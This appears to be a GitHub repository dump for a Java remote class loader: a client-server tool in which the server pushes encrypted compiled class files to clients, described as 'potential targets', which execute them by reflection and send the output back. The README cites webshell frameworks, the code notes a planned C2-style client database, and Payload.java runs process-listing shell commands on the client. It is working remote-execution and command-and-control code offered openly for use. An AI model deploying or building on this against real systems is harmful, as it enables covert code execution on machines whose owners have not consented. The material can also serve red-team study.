├── .gitignore ├── .idea ├── .gitignore ├── artifacts │ └── java_class_loader_jar.xml ├── compiler.xml ├── jarRepositories.xml ├── misc.xml └── vcs.xml ├── README.md ├── pom.xml ├── src └── main │ ├── META-INF │ └── MANIFEST.MF │ └── java │ ├── Client.java │ ├── Database.java │ ├── Encryption.java │ ├── LoadClass.java │ ├── META-INF │ └── MANIFEST.MF │ ├── Main.java │ ├── Payload.java │ ├── Server.java │ ├── Settings.java │ └── Utils.java └── static └── cb350880cb958301f950327f10128471059a1fe3.png /.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | out/ 3 | release/ 4 | -------------------------------------------------------------------------------- /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | -------------------------------------------------------------------------------- /.idea/artifacts/java_class_loader_jar.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | $PROJECT_DIR$/out/artifacts/java_class_loader_jar 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/jarRepositories.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 14 | 15 | 19 | 20 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | java-remote-class-loader 3 |
4 |

5 | 6 | This tool allows you to send Java bytecode in the form of class files to your clients (or potential targets) to load and execute using Java ClassLoader together with Reflect API. The client receives the class file from the server and return the respective execution output. Payloads must be written in Java and compiled before starting the server. 7 | 8 | 9 | # Features 10 | - Client-server architecture 11 | - Remote loading of Java class files 12 | - In-transit encryption using ChaCha20 cipher 13 | - Settings defined via args 14 | - Keepalive mechanism to re-establish communication if server restarts 15 | 16 | # Installation 17 | 18 | Tool has been tested using OpenJDK 11 with JRE Java Package, both on Windows and Linux (zip portable version). 19 | Java version should be 11 or higher due to dependencies. 20 | 21 | [https://www.openlogic.com/openjdk-downloads](https://www.openlogic.com/openjdk-downloads) 22 | 23 | 24 | 25 | # Usage 26 | 27 | ```console 28 | $ java -jar java-class-loader.jar -help 29 | 30 | usage: Main 31 | -address address to connect (client) / to bind (server) 32 | -classfile filename of bytecode .class file to load remotely 33 | (default: Payload.class) 34 | -classmethod name of method to invoke (default: exec) 35 | -classname name of class (default: Payload) 36 | -client run as client 37 | -help print this message 38 | -keepalive keeps the client getting classfile from server every 39 | X seconds (default: 3 seconds) 40 | -key secret key - 256 bits in base64 format (if not 41 | specified it will generate a new one) 42 | -port port to connect (client) / to bind (server) 43 | -server run as server 44 | ``` 45 | 46 | # Example 47 | 48 | Assuming you have the following Hello World payload in the `Payload.java` file: 49 | 50 | ```java 51 | //Payload.java 52 | public class Payload { 53 | public static String exec() { 54 | String output = ""; 55 | try { 56 | output = "Hello world from client!"; 57 | } catch (Exception e) { 58 | e.printStackTrace(); 59 | } 60 | return output; 61 | } 62 | } 63 | ``` 64 | 65 | Then you should compile and produce the respective `Payload.class` file. 66 | 67 | To run the server process listening on port 1337 on all net interfaces: 68 | 69 | ```console 70 | $ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class 71 | 72 | Running as server 73 | Server running on 0.0.0.0:1337 74 | Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ= 75 | ``` 76 | 77 | 78 | On the client side, you may use the same JAR package with the `-client` flag and use the symmetric key generated by server. 79 | Specify the server IP address and port to connect to. You may also change the class name and class method (defaults are `Payload` and `String exec()` respectively). Additionally, you can specify `-keepalive` to keep the client requesting class file from server while maintaining the connection. 80 | 81 | ```console 82 | $ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ= 83 | 84 | Running as client 85 | Connecting to 192.168.1.73:1337 86 | Received 593 bytes from server 87 | Output from invoked class method: Hello world from client! 88 | Sent 24 bytes to server 89 | ``` 90 | 91 | 92 | # References 93 | 94 | Refer to [https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/](https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/) for a blog post related with the development of this tool. 95 | 96 | 97 | 1. [https://github.com/rebeyond/Behinder](https://github.com/rebeyond/Behinder) 98 | 99 | 2. [https://github.com/AntSwordProject/antSword](https://github.com/AntSwordProject/antSword) 100 | 101 | 3. [https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/](https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/) 102 | 103 | 4. [https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis](https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis) 104 | 105 | 11. [https://xz.aliyun.com/t/2799](https://xz.aliyun.com/t/2799) 106 | 107 | 12. [https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7](https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7) 108 | 109 | 10. [https://venishjoe.net/post/dynamically-load-compiled-java-class/](https://venishjoe.net/post/dynamically-load-compiled-java-class/) 110 | 111 | 5. [https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php](https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php) 112 | 113 | 6. [https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/](https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/) 114 | 115 | 7. [https://openjdk.org/jeps/329](https://openjdk.org/jeps/329) 116 | 117 | 8. [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html) 118 | 119 | 9. [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html) 120 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | java-class-loader 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 11 13 | 11 14 | 15 | 16 | 17 | 22 | 23 | commons-cli 24 | commons-cli 25 | 1.5.0 26 | 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /src/main/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: Main 3 | 4 | -------------------------------------------------------------------------------- /src/main/java/Client.java: -------------------------------------------------------------------------------- 1 | import java.io.BufferedInputStream; 2 | import java.io.BufferedOutputStream; 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.net.Socket; 6 | import java.util.concurrent.ScheduledExecutorService; 7 | 8 | public class Client { 9 | 10 | private static Client inst = null; 11 | private final int REFRESH = 3000; // millis 12 | private final int RETRY = 3000; // millis 13 | private final Settings settings = Settings.getInstance(); 14 | Encryption cipher = null; 15 | ScheduledExecutorService scheduler; 16 | private Socket socket = null; 17 | 18 | public Client() { 19 | } 20 | 21 | public static Client getInstance() { 22 | if (inst == null) 23 | inst = new Client(); 24 | 25 | return inst; 26 | } 27 | 28 | 29 | private void connect(String address, int port) { 30 | while (!connectedSocket()) { 31 | try { 32 | System.out.println(String.format("Connecting to %s:%d", address, port)); 33 | socket = new Socket(address, port); 34 | } catch (IOException e) { 35 | System.out.println(String.format("Error connecting to server %s:%d. Retrying in %d seconds...", 36 | settings.getAddress(), settings.getPort(), RETRY / 1000)); 37 | try { 38 | Thread.sleep(RETRY); 39 | } catch (InterruptedException ex) { 40 | throw new RuntimeException(ex); 41 | } 42 | } 43 | } 44 | } 45 | 46 | 47 | private boolean connectedSocket() { 48 | return (socket != null && socket.isConnected() && !socket.isClosed()); 49 | 50 | } 51 | 52 | public void run() { 53 | 54 | try { 55 | // Initialize encryption instance 56 | cipher = new Encryption(settings.getKey()); 57 | 58 | BufferedInputStream in = null; 59 | BufferedOutputStream out = null; 60 | 61 | do { 62 | // Connect to server (retry if fails) 63 | connect(settings.getAddress(), settings.getPort()); 64 | 65 | in = new BufferedInputStream(socket.getInputStream()); 66 | out = new BufferedOutputStream(socket.getOutputStream()); 67 | 68 | // Allocate space to store data received from server 69 | byte[] buffer = new byte[4096]; 70 | ByteArrayOutputStream byteArrayStream = new ByteArrayOutputStream(); 71 | 72 | // Receive classfile from server 73 | try { 74 | byteArrayStream.write(buffer, 0, in.read(buffer)); 75 | } catch (Exception e) { 76 | System.out.println("Error receiving data from server"); 77 | socket.close(); 78 | socket = null; 79 | continue; 80 | } 81 | 82 | System.out.println(String.format("Received %d bytes from server", 83 | byteArrayStream.size())); 84 | 85 | // Load the received class 86 | LoadClass loader = new LoadClass(settings.getClassName(), 87 | settings.getClassMethod(), 88 | cipher.decrypt(byteArrayStream.toByteArray())); 89 | 90 | // Execute the payload and store the text output 91 | String output = loader.load(); 92 | System.out.println("Output from invoked class method: " + output); 93 | 94 | // Encrypt the output and send back to server 95 | byte[] byteArrayOutput = cipher.encrypt(output.getBytes()); 96 | out.write(cipher.encrypt(output.getBytes())); 97 | out.flush(); 98 | 99 | System.out.println(String.format("Sent %d bytes to server", byteArrayOutput.length)); 100 | 101 | Thread.sleep(REFRESH); 102 | } while (settings.getKeepalive()); 103 | 104 | in.close(); 105 | out.close(); 106 | socket.close(); 107 | 108 | } catch (IOException | InterruptedException e) { 109 | throw new RuntimeException(e); 110 | } 111 | 112 | } 113 | 114 | } 115 | -------------------------------------------------------------------------------- /src/main/java/Database.java: -------------------------------------------------------------------------------- 1 | public class Database { 2 | // TODO: store clients, similar to C2, select classfiles/paylods, etc 3 | } 4 | -------------------------------------------------------------------------------- /src/main/java/Encryption.java: -------------------------------------------------------------------------------- 1 | import javax.crypto.*; 2 | import javax.crypto.spec.ChaCha20ParameterSpec; 3 | import javax.crypto.spec.SecretKeySpec; 4 | import java.security.InvalidAlgorithmParameterException; 5 | import java.security.InvalidKeyException; 6 | import java.security.NoSuchAlgorithmException; 7 | import java.security.SecureRandom; 8 | import java.util.Base64; 9 | 10 | public class Encryption { 11 | // shitty crypto, just for testing 12 | 13 | private static final String CIPHER = "ChaCha20"; 14 | 15 | private byte[] nonce; 16 | private int counter; 17 | 18 | private SecretKey key; 19 | 20 | Encryption() { 21 | new Encryption(null); 22 | } 23 | 24 | Encryption(String key) { 25 | this.nonce = getNonce(); 26 | this.counter = 1; 27 | 28 | if (key == null) { 29 | // Generate new key 30 | this.key = genKey(); 31 | System.out.println("Generated new key: " + 32 | Base64.getEncoder().encodeToString(this.key.getEncoded())); 33 | } else { 34 | // Use provided key 35 | byte[] decodedKey = Base64.getDecoder().decode(key); 36 | this.key = new SecretKeySpec(decodedKey, 0, decodedKey.length, "ChaCha20"); 37 | } 38 | } 39 | 40 | 41 | public static SecretKey genKey() { 42 | try { 43 | KeyGenerator keyGen = KeyGenerator.getInstance("ChaCha20"); 44 | keyGen.init(256, SecureRandom.getInstanceStrong()); 45 | SecretKey generatedKey = keyGen.generateKey(); 46 | 47 | return generatedKey; 48 | } catch (NoSuchAlgorithmException e) { 49 | throw new RuntimeException(e); 50 | } 51 | } 52 | 53 | private static byte[] getNonce() { 54 | // lmao, fix this 55 | byte[] newNonce = new byte[12]; 56 | //new SecureRandom().nextBytes(newNonce); 57 | return newNonce; 58 | } 59 | 60 | public byte[] encrypt(byte[] plainText) { 61 | try { 62 | Cipher cipher = Cipher.getInstance(CIPHER); 63 | ChaCha20ParameterSpec param = new ChaCha20ParameterSpec(nonce, counter); 64 | cipher.init(Cipher.ENCRYPT_MODE, key, param); 65 | byte[] encryptedText = cipher.doFinal(plainText); 66 | return encryptedText; 67 | 68 | } catch (NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException | 69 | InvalidAlgorithmParameterException | IllegalBlockSizeException | BadPaddingException e) { 70 | throw new RuntimeException(e); 71 | } 72 | } 73 | 74 | public byte[] decrypt(byte[] cipherText) { 75 | try { 76 | Cipher cipher = Cipher.getInstance(CIPHER); 77 | ChaCha20ParameterSpec param = new ChaCha20ParameterSpec(nonce, counter); 78 | cipher.init(Cipher.DECRYPT_MODE, key, param); 79 | byte[] decryptedText = cipher.doFinal(cipherText); 80 | return decryptedText; 81 | 82 | } catch (NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException | 83 | InvalidAlgorithmParameterException | IllegalBlockSizeException | BadPaddingException e) { 84 | throw new RuntimeException(e); 85 | } 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /src/main/java/LoadClass.java: -------------------------------------------------------------------------------- 1 | import java.lang.reflect.InvocationTargetException; 2 | import java.lang.reflect.Method; 3 | 4 | public class LoadClass extends ClassLoader { 5 | 6 | String className = null; 7 | String methodName = null; 8 | byte[] data; 9 | 10 | 11 | public LoadClass(String className, String methodName, byte[] data) { 12 | this.className = className; 13 | this.methodName = methodName; 14 | this.data = data; 15 | } 16 | 17 | public String load() { 18 | 19 | String output = ""; 20 | Class newClass = defineClass(className, data, 0, data.length); 21 | Method method = null; 22 | 23 | try { 24 | method = newClass.getMethod(methodName, null); 25 | Object o = method.invoke(null, null); 26 | output = (String) o; 27 | } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) { 28 | System.out.println("Error invoking class method"); 29 | throw new RuntimeException(e); 30 | } 31 | 32 | return output; 33 | } 34 | 35 | 36 | } 37 | -------------------------------------------------------------------------------- /src/main/java/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: Main 3 | 4 | -------------------------------------------------------------------------------- /src/main/java/Main.java: -------------------------------------------------------------------------------- 1 | import org.apache.commons.cli.CommandLine; 2 | 3 | 4 | public class Main { 5 | 6 | 7 | public static void main(String[] args) { 8 | 9 | // Parse arguments 10 | CommandLine cmd = Settings.parseArgs(args); 11 | if (cmd == null) { 12 | System.out.println("Use '-help' to get a list of commands."); 13 | return; 14 | } 15 | 16 | // Load settings from specified args 17 | Settings.loadSettings(cmd); 18 | 19 | // Run as client OR server 20 | if (cmd.hasOption("client")) { 21 | System.out.println("Running as client"); 22 | Client.getInstance().run(); 23 | 24 | } else if (cmd.hasOption("server")) { 25 | System.out.println("Running as server"); 26 | Server.getInstance().run(); 27 | 28 | } else { 29 | System.out.println("You must select to either run as -client or -server"); 30 | } 31 | 32 | } 33 | 34 | } 35 | -------------------------------------------------------------------------------- /src/main/java/Payload.java: -------------------------------------------------------------------------------- 1 | import java.io.BufferedReader; 2 | import java.io.IOException; 3 | import java.io.InputStreamReader; 4 | import java.io.PrintWriter; 5 | import java.util.Properties; 6 | 7 | public class Payload { 8 | 9 | /* 10 | Sample class to load remotely. 11 | Class name, method and signature must match LoadClass.java definition. 12 | */ 13 | 14 | 15 | /* 16 | public static String exec() { 17 | String output = ""; 18 | try { 19 | output = "Hello world from client!"; 20 | } catch (Exception e) { 21 | e.printStackTrace(); 22 | } 23 | return output; 24 | } 25 | 26 | */ 27 | 28 | 29 | /* 30 | public static String exec(){ 31 | String output = ""; 32 | try{ 33 | Properties prop = System.getProperties(); 34 | output = prop.toString().replaceAll(",", "\n"); 35 | } catch (Exception e) { 36 | e.printStackTrace(); 37 | } 38 | return output; 39 | } 40 | */ 41 | 42 | 43 | public static String exec(){ 44 | String output = ""; 45 | try { 46 | String os = System.getProperty("os.name"); 47 | String cmd[]; 48 | if(os.toLowerCase().contains("win")){ 49 | cmd = new String[]{"powershell.exe", "-c", "Get-Process | Out-File -FilePath C:\\Users\\Public\\ps.txt"}; 50 | }else{ 51 | cmd = new String[]{"/bin/bash", "-c", "ps auxef > /tmp/ps.txt"}; 52 | } 53 | Process proc = Runtime.getRuntime().exec(cmd); 54 | BufferedReader in = new BufferedReader(new 55 | InputStreamReader(proc.getInputStream())); 56 | BufferedReader err = new BufferedReader(new 57 | InputStreamReader(proc.getErrorStream())); 58 | 59 | String s = null; 60 | while ((s = in.readLine()) != null) { 61 | output += s; 62 | } 63 | while ((s = err.readLine()) != null) { 64 | output += s; 65 | } 66 | 67 | //System.exit(0); 68 | } catch (Exception e) { 69 | output = e.getMessage(); 70 | e.printStackTrace(); 71 | } 72 | return output; 73 | } 74 | 75 | 76 | } 77 | -------------------------------------------------------------------------------- /src/main/java/Server.java: -------------------------------------------------------------------------------- 1 | import java.io.BufferedInputStream; 2 | import java.io.BufferedOutputStream; 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.net.ServerSocket; 6 | import java.net.Socket; 7 | import java.net.SocketException; 8 | 9 | public class Server { 10 | private static Server inst; 11 | private final Settings settings = Settings.getInstance(); 12 | Encryption cipher; 13 | private Thread thread; 14 | private ServerSocket serverSocket; 15 | private ClientHandler clientHandler; 16 | 17 | public Server() { 18 | } 19 | 20 | public static Server getInstance() { 21 | if (inst == null) 22 | inst = new Server(); 23 | 24 | return inst; 25 | } 26 | 27 | 28 | public void run() { 29 | 30 | try { 31 | serverSocket = new ServerSocket(settings.getPort()); 32 | System.out.println(String.format("Server running on %s:%d ", 33 | settings.getAddress(), settings.getPort())); 34 | } catch (IOException e) { 35 | throw new RuntimeException(e); 36 | } 37 | 38 | cipher = new Encryption(settings.getKey()); 39 | 40 | // Handle incoming connections and spawn new thread for each client 41 | while (true) { 42 | try { 43 | clientHandler = new ClientHandler(serverSocket.accept()); 44 | } catch (IOException e) { 45 | throw new RuntimeException(e); 46 | } 47 | 48 | thread = new Thread(clientHandler); 49 | thread.start(); 50 | } 51 | } 52 | 53 | 54 | class ClientHandler implements Runnable { 55 | private final Socket clientSocket; 56 | 57 | ClientHandler(Socket clientSocket) { 58 | this.clientSocket = clientSocket; 59 | } 60 | 61 | @Override 62 | public void run() { 63 | 64 | System.out.println(String.format("New client! [%s]", 65 | clientSocket.getLocalAddress().getHostAddress())); 66 | 67 | try { 68 | BufferedInputStream in = null; 69 | BufferedOutputStream out = null; 70 | 71 | while (clientSocket.isConnected() && !clientSocket.isClosed()) { 72 | 73 | in = new BufferedInputStream(clientSocket.getInputStream()); 74 | out = new BufferedOutputStream(clientSocket.getOutputStream()); 75 | 76 | // Send classfile to client 77 | byte[] classBytes = Utils.file2ByteArray(Settings.getInstance().getClassFile()); 78 | out.write(cipher.encrypt(classBytes)); 79 | out.flush(); 80 | System.out.println(String.format("Sent %d bytes to client", classBytes.length)); 81 | 82 | // Receive execution output from client 83 | byte[] buffer = new byte[4096]; 84 | ByteArrayOutputStream byteArrayStream = new ByteArrayOutputStream(); 85 | 86 | try { 87 | byteArrayStream.write(buffer, 0, in.read(buffer)); 88 | } catch (RuntimeException e) { 89 | System.out.println("Error receiving data from client"); 90 | continue; 91 | } 92 | 93 | System.out.println(String.format("Received %d bytes from client: %s", byteArrayStream.size(), 94 | new String(cipher.decrypt(byteArrayStream.toByteArray())))); 95 | } 96 | 97 | in.close(); 98 | out.close(); 99 | clientSocket.close(); 100 | 101 | } catch (SocketException e) { 102 | System.out.println("Lost connection to client"); 103 | 104 | } catch (IOException e) { 105 | throw new RuntimeException(e); 106 | } 107 | 108 | 109 | } 110 | } 111 | } 112 | -------------------------------------------------------------------------------- /src/main/java/Settings.java: -------------------------------------------------------------------------------- 1 | import org.apache.commons.cli.*; 2 | 3 | public class Settings { 4 | private static Settings inst = null; 5 | String key; 6 | String address; 7 | int port = 0; 8 | String classFile; 9 | String className; 10 | String classMethod; 11 | boolean keepalive = false; 12 | 13 | public Settings() { 14 | } 15 | 16 | public static CommandLine parseArgs(String[] args) { 17 | 18 | CommandLineParser parser = new DefaultParser(); 19 | 20 | Options options = new Options(); 21 | options.addOption("help", false, "print this message"); 22 | options.addOption("client", false, "run as client"); 23 | options.addOption("server", false, "run as server"); 24 | 25 | options.addOption("address", true, "address to connect (client) / to bind (server)"); 26 | options.addOption("port", true, "port to connect (client) / to bind (server)"); 27 | options.addOption("key", true, "secret key - 256 bits in base64 format (if not specified it will generate a new one)"); 28 | 29 | options.addOption("classfile", true, "filename of bytecode .class file to load remotely (default: Payload.class)"); 30 | options.addOption("classname", true, "name of class (default: Payload)"); 31 | options.addOption("classmethod", true, "name of method to invoke (default: exec)"); 32 | 33 | options.addOption("keepalive", false, "keeps the client getting classfile from server every X seconds (default: 3 seconds)"); 34 | 35 | 36 | // Parse command line 37 | CommandLine cmd = null; 38 | try { 39 | cmd = parser.parse(options, args); 40 | } catch (ParseException ex) { 41 | System.out.println(ex.getMessage()); 42 | } 43 | 44 | // Display -help 45 | if (cmd.hasOption("help")) { 46 | HelpFormatter formatter = new HelpFormatter(); 47 | formatter.printHelp("Main", options); 48 | return null; 49 | } 50 | 51 | return cmd; 52 | } 53 | 54 | public static void loadSettings(CommandLine cmd) { 55 | 56 | // Parse values 57 | String address = cmd.hasOption("address") ? cmd.getOptionValue("address") : "0.0.0.0"; 58 | int port = cmd.hasOption("port") ? Integer.parseInt(cmd.getOptionValue("port")) : 31337; 59 | String key = cmd.hasOption("key") ? cmd.getOptionValue("key") : null; 60 | String classFile = cmd.hasOption("classfile") ? cmd.getOptionValue("classfile") : "Payload.class"; 61 | String className = cmd.hasOption("classname") ? cmd.getOptionValue("classname") : "Payload"; 62 | String classMethod = cmd.hasOption("classmethod") ? cmd.getOptionValue("classmethod") : "exec"; 63 | boolean keepalive = cmd.hasOption("keepalive"); 64 | 65 | 66 | // Define settings 67 | Settings settings = Settings.getInstance(); 68 | 69 | settings.setAddress(address); 70 | settings.setPort(port); 71 | settings.setKey(key); 72 | settings.setClassFile(classFile); 73 | settings.setClassName(className); 74 | settings.setClassMethod(classMethod); 75 | settings.setKeepalive(keepalive); 76 | } 77 | 78 | public static Settings getInstance() { 79 | if (inst == null) 80 | inst = new Settings(); 81 | 82 | return inst; 83 | } 84 | 85 | public boolean getKeepalive() { 86 | return keepalive; 87 | } 88 | 89 | public void setKeepalive(boolean keepalive) { 90 | this.keepalive = keepalive; 91 | } 92 | 93 | public String getClassFile() { 94 | return classFile; 95 | } 96 | 97 | public void setClassFile(String classFile) { 98 | this.classFile = classFile; 99 | } 100 | 101 | public String getClassName() { 102 | return className; 103 | } 104 | 105 | public void setClassName(String className) { 106 | this.className = className; 107 | } 108 | 109 | public String getClassMethod() { 110 | return classMethod; 111 | } 112 | 113 | public void setClassMethod(String classMethod) { 114 | this.classMethod = classMethod; 115 | } 116 | 117 | public String getKey() { 118 | return key; 119 | } 120 | 121 | public void setKey(String key) { 122 | this.key = key; 123 | } 124 | 125 | public String getAddress() { 126 | return address; 127 | } 128 | 129 | public void setAddress(String address) { 130 | this.address = address; 131 | } 132 | 133 | public int getPort() { 134 | return port; 135 | } 136 | 137 | public void setPort(int port) { 138 | this.port = port; 139 | } 140 | } 141 | -------------------------------------------------------------------------------- /src/main/java/Utils.java: -------------------------------------------------------------------------------- 1 | import java.io.DataInputStream; 2 | import java.io.File; 3 | import java.io.FileInputStream; 4 | import java.io.IOException; 5 | 6 | public class Utils { 7 | 8 | public static byte[] file2ByteArray(String filePath) { 9 | 10 | try { 11 | File file = new File(filePath); 12 | DataInputStream reader = new DataInputStream(new FileInputStream(file)); 13 | int bytesToRead = reader.available(); 14 | 15 | if (bytesToRead > 0) { 16 | byte[] bytes = new byte[bytesToRead]; 17 | reader.read(bytes); 18 | return bytes; 19 | } 20 | 21 | } catch (IOException e) { 22 | System.out.println("Error reading .class file for loading"); 23 | throw new RuntimeException(e); 24 | } 25 | 26 | return new byte[]{}; 27 | } 28 | 29 | } 30 | -------------------------------------------------------------------------------- /static/cb350880cb958301f950327f10128471059a1fe3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/joaovarelas/java-remote-class-loader/7f5f79a6c682488e274435a5a25bb7e219ee5930/static/cb350880cb958301f950327f10128471059a1fe3.png --------------------------------------------------------------------------------